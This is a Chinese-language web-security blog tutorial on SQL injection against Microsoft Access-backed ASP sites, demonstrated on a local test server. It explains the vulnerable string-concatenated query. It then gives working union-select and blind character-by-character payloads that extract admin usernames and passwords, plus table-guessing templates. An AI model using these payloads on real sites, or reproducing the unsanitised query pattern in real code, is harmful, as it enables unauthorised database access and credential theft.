WEB安全

Access注入精讲从不会到会!

字号+ 作者:帝王帝王 来源:转载 2016-11-25 09:49 我要评论( )

hello 大家好 我还是那个人见人爱 花见花开 汽车见了都要爆胎的i春秋型男king总 语言依旧是那么的低沉且性感。又来给大家讲解web安全的 第一视角了 今天给大家带来......

      hello 大家好 我还是那个人见人爱 花见花开 汽车见了都要爆胎的i春秋型男king总 语言依旧是那么的低沉且性感。又来给大家讲解web安全的 第一视角了 今天给大家带来的教程是什么呢   没错就是针对Access注入的精讲部分  希望大家能够好好学习 天天向上!  用英语怎么说呢  就是 good good Study  day day up 没办法就是这么的犀利 蛋总and霸总说了 我很有前途还说我一定是俺们村English最最very good滴  唉呀妈呀让我激动好几天 不多说让我们走进Access的世界吧  学习Access就必须知道他的数据库分层 格式是什么类型的 等等.....

      Microsoft Office Access是由微软发布的关系型数据库管理系统。它结合了 microsoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。


     Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软office的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。


0X001 针对网站域名的剖析
根据网站URL的地址我们大致能将URL分为以下几种
网站URL地址:http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139

网站域名:http://127.0.0.1:81

文件目录:asp/Production

文件名:PRODUCT_DETAIL.asp?

文件参数名:id

文件参数值:1139

0X002 sql注入原理以及产生

不是太会画图 将就着看吧  这个就能很好的帮助我们学习sql注入  那么我们现在看看Access数据库的结构是什么样子的
access数据库
                    表名
                          列名
                                  数据 (明文,md5)
看完数据库分层大家就大概明白了access是怎样的数据库  那么说了这么多sql注入到底是怎么产生的呢?这是一个问题   
sql注入原理:

脚本代码接受数据未经过过滤就交给服务器进行处理 导致恶意sql语句插入到数据库中执行  那么我们看一下究竟是在哪里出现的错误 打开PRODUCT_DETAIL.asp?文件  上图!





<%      %>:这个函数作为asp语言的开端和结尾
id=request("id"):接受参数名为id的值并赋值给变量id
sql="select * from product where id="&id:定义sql语句,组合变量id,赋值到变量sql
set rs=conn.execute(sql):执行sql变量中的sql语句

那么我们明白了这些  就可以看看 输入URL到底是什么意思

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139

id=request("id") ==>id=1139(前面的id代表变量,后面的id代表参数名)
sql=select*from oroduct where id=&id==> sql=select*from product where id=1139

这里就能看出你输入网站时并回车时执行的sql语句  那么我们在进行sql注入的检测时候输入and 1=1 这样他的sql语句是什么呢?

http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1
id=request("id") ==>id=1139 and 1=1(前面的id代表变量,后面的id代表参数名)
sql=select*from oroduct where id=&id==> sql=select*from product where id=1139 and 1=1

那么我们常说的检测注入是否存在的方法到低是什么意思呢?
and 1=1 返回正常
and 1=2 返回错误
只要这两点存在那么就存在注入对吧  但是为什么要这样判断呢?这里牵扯到  数学中的逻辑运算符  首先我们要理解 或 且 非这三个文字在sql语句中是什么意思
或=or     且=and     非=xor
真且真=真
真或假=真
真且假=假
明 白这些我们就能明白他的sql原理   你看  sql=select*from product where id=1139 这个是真的对吧  你放到浏览器里面 他会执行而且返回的还是一个正常的页面 那在后面加上一个and 1=1 是不是真且真的原理   1=1这个是不会改变的因为1只能等于1这是不变的 所以返回正常页面   那么1=2他始终是假的  1永远不可能等于2  那么就符合真且假的这个逻辑所以它返回错误页面    但是and 1=1 and 1=2 也是被作为检测数据库是否执行你的sql语句  

0X003 Access注入攻击-联合注入查询法
1.判断是否存在注入
‘           报错
and 1=1 返回正常
and 1=2 返回错误
order by xx  查询字段数量
就是检查我们的字段数  那么我们看看字段数到底在哪里  在Production目录里    我们去看看字段数究竟是什么

这些就是字段  后面还有很多  大概有22个吧   那么他的字段数就是22个 当然你在查询时在22是返回正常的 23就返回错误  这就说明字段数目是22个  order by 22正确 order by 23错误
2.猜解表名
这里需要运用到union select 这个函数  什么意思呢?  就是联合查询的意思  就是呗多个函数连起来进行查询  刚才我们查到了22个字段  那么我们就可以构造语句
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin  这个是什么意思呢 就是查询你数据库中有没有存在admin表如果存在他会返回什么样的界面呢
这样就说明了  他存在admin表  而且在第三 第15这里还出错了  那么我们就可以利用出错的3  15来执行我们的sql语句  
http://127.0.0.1:81/asp/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

这就话的意思就是 查询admin表中是否存在 username password列名  那么返回正常的界面和错误的界面

这里它显示错误了  但是究竟是哪里错了呢  让我们看下数据库列名的名字就知道了

原来是列名的名字错误了  应该是admin password  那么我们改变一下去试试

这里就返回正常了 并爆出他的明文以及md5值   那如果报错呢  那就是可能他的列名的名字修改了  这就需要你们自己尝试爆破  去猜解  给大家一些常用的列名 user pass username password admin等等   因为查询的函数 union select  能够执行多的函数去sql查询  所以这个方法就是联合查询法
0X004 Access注入攻击-逐字查询法
逐字查询 字如其名一个字一个字的查询  一般比如啊D 明小子都是这样的  那么为什么要使用这种呢  因为它查询出来的信息很准确  所以很受猜解工具的青睐  那么为什么在我们手工时非常的不喜欢呢  因为它所需要的时间太长了  一个站点你要1个小时去查询 所以我就不掩饰太多

查表:and exists (select * from 表名)   返回正常 存在admin表

查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5  =5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
and (select top 1 asc(mid(列名,位数,1)) from admin)=97




看到了吗  很麻烦滴 所以我不建议大家使用这种方法  如果你追求数据的准确性的话就使用这种方法
0X005 注入工具运作原理
这里我们使用w**plorer抓一下啊D 猜解表段的包来看看

这里我们可以看到  他的sql语句一直都是在查询表段名  那么我们放到网站中执行 这个sql语句去试试

这里我的表名是admin 所以就返回正常也就说明数据库中存在admin这个表    我将常用的猜解语句给大家打包下
%20and%20exists%20(select%20*%20from%20[表名])  猜解表名
%20and%20exists%20(select%20[字段]%20from%20[表名])  猜解字段名

大概就是这样滴   好了今天的教程就到这里了  希望表哥们好好学习  小白能够起飞  大牛能指点意见

版权:i春秋

作者:i春秋第一帅男神  king总


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/263.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 移位溢注:告别依靠人品的偏移注入

    移位溢注:告别依靠人品的偏移注入

    2017-03-09 14:12

  • ZABBIX SQL注入

    ZABBIX SQL注入

    2016-12-24 14:47

  • 浅谈sql注入中的Post注入

    浅谈sql注入中的Post注入

    2016-11-25 10:17

  • mysql注入点的另类利用

    mysql注入点的另类利用

    2016-11-25 09:54

网友点评
暂时未开启评论功能~